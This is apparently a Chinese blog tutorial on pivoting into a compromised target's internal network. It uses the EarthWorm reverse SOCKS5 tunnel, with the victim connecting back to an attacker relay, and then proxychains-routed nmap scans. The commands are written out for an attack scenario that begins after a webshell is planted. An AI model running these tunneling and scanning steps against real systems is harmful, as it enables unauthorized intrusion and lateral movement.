最近搞站的时候有内网穿透的需求,大佬向我推荐了Earthworm (http://rootkiter.com/EarthWorm/),本文模拟一个攻击场景对Earthworm的使用方法做一个简单的介绍。其实相应的内容EW的官网已经说得很详细了,我这里纯粹是作为个人笔记从如下几个方面做一个简单的记录:
1、如何使用Earthworm做反向Socks5代理;
2、浏览器如何设置Socks5代理访问目标内网Web服务;
3、利用proxychains给终端设置Socks5代理(方便将本地命令行工具的流量代理进目标内网)。
Kali Linux(Attacker 内网 192.168.40.135)
Ubuntu 16.04.3(Attacker 公网 http://120.xxxx.xxx.xxx)
Windows Server 2008 (Victim 目标内网 http://10.xxxx.xxx.xxx)
网络拓扑:Kali Linux是我本地的一台虚拟机,Ubuntu是公网上的一台ECS,Windows Server 2008是目标机器,内网IP,部分端口映射到外网。
0x02 场景模拟
我们现在已拿到目标内网一台机器的权限(该机器将80端口映射至外网,Web服务存在漏洞,已拿到webshell)。需要对内网做进一步的渗透,目前我有一台公网的Ubuntu,一台内网的Kali,如何反向Socks5将Kali的流量代理进目标内网?
这里我仅演示通过EW做反向Socks5代理,正向、多级级联的的代理方式可以参考官方文档。
第1步:在公网的Ubuntu上执行如下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
该命令的意思是说公网机器监听1080和1024端口。等待攻击者机器访问1080端口,目标机器访问1024端口。
第2步:目标机器执行如下命令:
ew_for_Win.exe -s rssocks -d 120.xxx.xxx.xx -e 1024
其中-d参数的值为刚刚的公网IP
第3步:攻击者机器通过proxychains或浏览器设置Socks5代理访问目标内网服务
设置完毕后点击确定即可。此时已可以通过浏览器访问目标内网的Web服务。
第1步:下载及安装proxychains
cd /usr/local/src git clone https://github.com/rofl0r/proxychains-ng.git cd proxychains-ng ./configure --prefix=/usr --sysconfdir=/etc make && make install make install-config cd .. && rm -rf proxychains-ng
第2步:编辑proxychains配置文件设置代理
vi /etc/proxychains.conf socks5 120.xx.xx.xx 1080
第3步:举个栗子:使用proxychains nmap对目标内网扫描
设置完成后即可使用类似proxychains nmap 192.168.40.133这种方式将nmap的流量代理至目标内网进行扫描,其他命令行工具同理。
在使用的过程中也出现了一些问题,有的工具流量不走sock5代理,就很尴尬,具体原因不详。希望对这方面内容感兴趣的同学偶然看到了这篇文章能有所收获吧,当然,如有谬误还请不吝赐教。
利用proxychains在终端使用socks5代理: http://blog.csdn.net/gengxuelei/article/details/52514603
EarthWorm: http://rootkiter.com/EarthWorm/
Termite: http://rootkiter.com/Termite/